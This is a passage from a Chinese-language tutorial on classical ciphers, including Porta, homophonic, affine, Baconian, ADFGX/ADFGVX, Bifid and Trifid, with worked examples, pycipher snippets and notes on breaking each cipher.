密文: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XYV ELAEK OFQYH WWK BYHTJ OGTC TJI DAK YESR&lt;/code&gt;

已知密钥在线加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/running-key/&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;14porta密码&quot;&gt;14.Porta密码&lt;/h3&gt;
（1）介绍

Porta密码(Porta Cipher)是一个由意大利那不勒斯的医生Giovanni Battista della Porta发明的多表代换密码，Porta密码具有加密解密过程的是相同的特点。

密表：

KEYS| A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
—-|—————————————————-
A,B | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
C,D | O P Q R S T U V W X Y Z N M A B C D E F G H I J K L
E,F | P Q R S T U V W X Y Z N O L M A B C D E F G H I J K
G,H | Q R S T U V W X Y Z N O P K L M A B C D E F G H I J
I,J | R S T U V W X Y Z N O P Q J K L M A B C D E F G H I
K,L | S T U V W X Y Z N O P Q R I J K L M A B C D E F G H
M,N | T U V W X Y Z N O P Q R S H I J K L M A B C D E F G
O,P | U V W X Y Z N O P Q R S T G H I J K L M A B C D E F
Q,R | V W X Y Z N O P Q R S T U F G H I J K L M A B C D E
S,T | W X Y Z N O P Q R S T U V E F G H I J K L M A B C D
U,V | X Y Z N O P Q R S T U V W D E F G H I J K L M A B C
W,X | Y Z N O P Q R S T U V W X C D E F G H I J K L M A B
Y,Z | Z N O P Q R S T U V W X Y B C D E F G H I J K L M A
明文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

密钥(循环使用，密钥越长相对破解难度越大)：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; CULTURE&lt;/code&gt;

加密过程：明文字母’T’列与密钥字母’C’行交点就是密文字母’F’,以此类推。

密文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FRW HKQRY YMFMF UAA OLWHD ALWI JPT ZXHC NGV&lt;/code&gt;

已知密钥在线加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/porta/&quot;&gt;传送门&lt;/a&gt;

（2）破解

Porta密码可以被以 &lt;a href=&quot;http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-vigenere-cipher-part-2/&quot;&gt;维吉尼亚密码&lt;/a&gt; 破解相类似方式进行自动攻破，破解Porta密码第一步是先确定密钥长度，这里推荐一篇关于使用 &lt;a href=&quot;https://en.wikipedia.org/wiki/Index_of_coincidence&quot;&gt;重合指数算法&lt;/a&gt; 确定为维吉尼亚密钥长度 &lt;a href=&quot;http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-vigenere-cipher/&quot;&gt;文章&lt;/a&gt; 。

&lt;h3 id=&quot;15同音替换密码&quot;&gt;15.同音替换密码&lt;/h3&gt;
（1）介绍

同音替换密码(Homophonic Substitution Cipher)是单字母可以被其他几种密文字母同时替换的密码，通常要比标准替换密码破解更加困难，破解标准替换密码最简单的方法就是分析字母出现频率，通常在英语中字母’E’(或’T’)出现的频率是最高的，如果我们允许字母’E’可以同时被3种不同字符代替，那么就不能还是以普通字母的频率来分析破解，如果允许可代替字符越多，那么密文就会更难破译。

常见代换规则表：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103153475267.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

明文:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

密文(其中一种)：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; 6CZ KOVST XJ0MA EQY IOGL4 0W1J UC7 P9NB F0H&lt;/code&gt;

（2）破解

如果同音替换密码的同音词个数很多，那么破解它难度很大，通常的方法采取类似破解替换密码的”爬山算法”，除了找到一个明文字母映射几个字符之外，我们还需要确定映射了那些字符，可以尝试 2层嵌套”&lt;a href=&quot;http://www.cs.sjsu.edu/faculty/stamp/RUA/homophonic.pdf&quot;&gt;爬山算法&lt;/a&gt;” 来破解，外层确定映射的数量，内层确定映射字符。

&lt;h3 id=&quot;16仿射密码&quot;&gt;16.仿射密码&lt;/h3&gt;
（1）介绍

仿射密码(Affine Cipher)是一种单表代换密码，字母表中的每个字母相应的值使用一个简单的数学函数映射到对应的数值，再把对应数值转换成字母。这个公式意味着每个字母加密都会返回一个相同的字母，意义着这种加密方式本质上是一种标准替代密码。因此，它具有所有替代密码的弱点。每一个字母都是通过函数（ax + b）mod m加密，其中B是位移量，为了保证仿射密码的可逆性，a和m需要满足gcd(a , m)=1，一般m为设置为26。更多 参考

常见的字母对应关系：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103153585880.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

下面我们以E(x) = (5x + 8) mod 26函数为例子
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103153669163.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

至于解密我们知道

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103154316468.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103154414181.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

即可得出解密结果
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103154542315.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

以&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;E(x) = (5x + 8) mod 26&lt;/code&gt;加密，通过计算可得&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;D(x)=21(x - 8) mod 26&lt;/code&gt;，这样便可以得到明文。

可参考的Python脚本
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103154750760.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/affine/&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;17培根密码&quot;&gt;17.培根密码&lt;/h3&gt;
（1）介绍

培根密码(Baconian Cipher)是一种替换密码，每个明文字母被一个由5字符组成的序列替换，最初的加密方式就是由’A’和’B’组成序列替换明文(所以你当然也可以用别的字母)，比如字母’D’替换成”aaabb”，以下是全部的对应关系(另一种对于关系是每个字母都有唯一对应序列，I和J与U/V各自都有不同对应序列)：
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aaaaa&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;J&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;abaaa&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;R&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;baaaa&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aaaab&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;abaab&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;S&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;baaab&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aaaba&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;L&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ababa&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;baaba&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;D&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aaabb&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;M&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ababb&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;V&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;baabb&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;E&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aabaa&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;abbaa&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;W&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;babaa&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;F&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aabab&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;O&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;abbab&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;X&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;babab&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;G&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aabba&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;P&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;abbba&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;Y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;babba&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;H&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aabbb&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;Q&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;abbbb&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;Z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;babbb&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
明文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; T H E F O X&lt;/code&gt;

密文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; baaba aabbb aabaa aabab abbab babab&lt;/code&gt;

加解密 &lt;a href=&quot;http://rumkin.com/tools/cipher/baconian.php&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;18adfgx和adfgvx密码&quot;&gt;18.ADFGX和ADFGVX密码&lt;/h3&gt;
（1）ADFGX密码

ADFGX密码(ADFGX Cipher)是结合了改良过的Polybius方格替代密码与单行换位密码的矩阵加密密码，使用了5个合理的密文字母：A，D，F，G，X，这些字母之所以这样选择是因为当转译成摩尔斯电码(ADFGX密码是德国军队在一战发明使用的密码)不易混淆，目的是尽可能减少转译过程的操作错误。

加密矩阵示例：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    A  D  F  G   X
  ----------------
A | p  h  q  g   m 
D | e  a  y  n   o 
F | f  d  x  k   r
G | c  v  s  z   w 
X | b  u  t  i/j l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX&lt;/code&gt;

结果矩阵加密：

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XF AD DA   AF XD XG GA FG   XA FX DX GX DG   FA DX FF &lt;/code&gt;
列移位密钥： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;how are u&lt;/code&gt;
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103154823575.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

密文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DXADF AGXF XFFXD FXGGX DGFG AADA ADXXF&lt;/code&gt;

已知密钥加解密：
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pycipher&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ADFGX&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ADFGX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'phqgmeaynofdxkrcvszwbutil'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'HOWAREU'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'THE QUICK BROWN FOX'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'DXADFAGXFXFFXDFXGGXDGFGAADAADXXF'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'DXADFAGXFXFFXDFXGGXDGFGAADAADXXF'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'THEQUICKBROWNFOX'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
在线加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/adfgx-cipher/&quot;&gt;传送门&lt;/a&gt;

（2）ADFGVX密码

ADFGVX密码实际上就是ADFGX密码的扩充升级版，一样具有ADFGX密码相同的特点，加密过程也类似，不同的是密文字母增加了V，使得可以再使用10数字来替换明文。
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    A D F G V X
  -------------
A | p h 0 q g 6
D | 4 m e a 1 y
F | l 2 n o f d
G | x k r 3 c v
V | s 5 z w 7 b
X | j 9 u t i 8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
由于两种加密过程完全类似这里就不再重复给出加密过程。
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pycipher&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ADFGVX&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ADFGVX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'HOWAREU'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'THE QUICK BROWN FOX'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'DXXFAFGFFXGGGFGXDVGDVGFAVFVAFVGG'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'DXXFAFGFFXGGGFGXDVGDVGFAVFVAFVGG'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'THEQUICKBROWNFOX'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;19双密码&quot;&gt;19.双密码&lt;/h3&gt;
（1）双密码

双密码(Bifid Cipher)结合了波利比奥斯方阵换位密码，并采用分级实现扩散，这里的“双”是指用2个密钥进行加密。双密码是由法国Felix Delastelle发明，除此之外Felix Delastelle还发明了三分密码(Trifid Cipher)，四方密码(Four-Square Cipher)。还有一个 两方密码 (Two-Square)与四方密码类似， 共轭矩阵双密码 (Conjugated Matrix Bifid Cipher)也是双密码的变种。

示例密阵:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; 3 4 5
| p h q g m
| e a y l n
| o f d x k
| r c v s z
| w b u t i/j
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
明文: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX&lt;/code&gt;

经过密阵转换：

行: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;512 15543 54352 333&lt;/code&gt;

列: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;421 33525 21115 214&lt;/code&gt;

分组:

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;51215 54354 35233 3&lt;/code&gt;

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;42133 52521 11521 4&lt;/code&gt;

合并：

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;33 5435452521 3523311521 34&lt;/code&gt;
在经过密阵转换后密文: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WETED TKZNE KYOME X&lt;/code&gt;

（2）已知密阵加解密
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pycipher&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Bifid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'phqgmeaylnofdxkrcvszwbuti'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'THE QUICK BROWN FOX'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'WETEDTKZNEKYOMEX'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Bifid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'phqgmeaylnofdxkrcvszwbuti'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'WETEDTKZNEKYOMEX'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'THEQUICKBROWNFOX'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
在线加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/bifid/&quot;&gt;传送门&lt;/a&gt;

（3）未知密阵破解

手工分析破解双密码是有一定难度的，每个字母都是同过3个数字进行非线性代替转换，而且之后还会对字母顺序进行打乱，这样使双密码比一些替换密码和换位密码更难破解。然而，现在是计算机时代，这张加密方式没有安全性可言，通过 模拟退火 算法就能快速找到双密码的密阵。 这里推荐一篇详细的 双密码破解分析 的文章，基于模拟退火算法实现的工具破解示例：

密文:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;KWTAZQLAWWZCPONIVBTTBVQUZUGRNHAYIYGIAAYURCUQLDFTYVHTNQEENUPAIFCUNQTNGITEFUSHFDWHRIFSVTBISYDHHASQSROMUEVPQHHCCRBYTQBHWYRRHTEPEKHOBFSZUQBTSYRSQUDCSAOVUUGXOAUYWHPGAYHDNKEZPFKKWRIEHDWPEIOTBKESYETPBPOGTHQSPUMDOVUEQAUPCPFCQHRPHSOPQRSSLPEVWNIQDIOTSQESDHURIEREN
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
解密：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103180643941.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

得到加密矩阵:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;G B C M K
D H U E T
L V Y W I
X O Z S P
N F A R Q
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
明文:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CRYPTANALYS IS OF BIFID BY HAND IS ACTUALLY FAIRLY DIFFICULT THE FRACTIONATING NATURE OF THE CIPHER IE EACH LETTER IS SUBSTITUTED BY CHARACTERS THEN THESE CHARACTERS ARE IUM BLED WHICH WILL PULL THEM APART MAKES THE CIPHER MUCH STRONGER THAN SUBSTITUTION CIPHERS OR TRANSPOSITION CIPHER SON THEIR OWN
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;20三分密码&quot;&gt;20.三分密码&lt;/h3&gt;
三分密码(Trifid Cipher)结合换位和替换，三分密码与双密码非常相似，差别之处就是用除了3×3×3的密阵代替5×5密阵。

示例密阵:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;密阵顺序 = EPSDUCVWYM.ZLKXNBTFGORIJHAQ      

方阵 1      方阵 2      方阵 3                                     
 2 3      1 2 3      1 2 3    
 E P S    1 M . Z    1 F G O    
 D U C    2 L K X    2 R I J    
 V W Y    3 N B T    3 H A Q   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
明文: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX.&lt;/code&gt;

经过密阵转换：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;T H E Q U I C K B R O W N F O X .
 3 1 3 1 3 1 2 2 3 3 1 2 3 3 2 2
 3 1 3 2 2 2 2 3 2 1 3 3 1 1 2 1
 1 1 3 2 2 3 2 2 1 3 2 1 1 3 3 2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
T(233)表示T在第一个方阵第三行第三列的位置

分组(分组密钥以5为例):
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;THEQU ICKBR OWNFO X.
1 31223 31233 22
2 22232 13311 21
2 23221 32113 32
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
合并：

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;33132 31132 31223 22232 23221 31233 13311 32113 22 21 32&lt;/code&gt;
在经过密阵转换后密文:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;3231132312232223223221312331331132113222132
N  O  O  N  W  G  B  X  X  L  G  H  H  W  S  K  W
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
想要深入了解三分密码并破解三分密码的小伙伴推荐去看LANIKI教授的一篇密码课程章节的 &lt;a href=&quot;http://www.und.nodak.edu/org/crypto/crypto/lanaki.crypt.class/lessons/lesson17.zip&quot;&gt;讲义&lt;/a&gt; 。

&lt;h3 id=&quot;21四方密码&quot;&gt;21.四方密码&lt;/h3&gt;
（1）介绍

四方密码(Four-Square Cipher)是类似普莱菲尔密码双字母加密密码，这样使加密效果强于其他替换密码，因为频率分析变得更加困难了。

四方密码使用4个预先设置的5×5字母矩阵，每个矩阵包括25个字母，通常字母’j’被融入到’i’中(维基百科上说’q’被忽略，不过这不重要，因为’q’和’j’都是很少出现的字母)，通常左上和右下矩阵式是标准字母排序明文矩阵，右上和左下矩阵是打乱顺序的密钥矩阵。

示例矩阵：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103155413939.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

整理明文(分组不够时用’X’填充)：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; TH EQ UI CK BR OW NF OX JU MP SO VE RT HE LA ZY DO GX&lt;/code&gt;

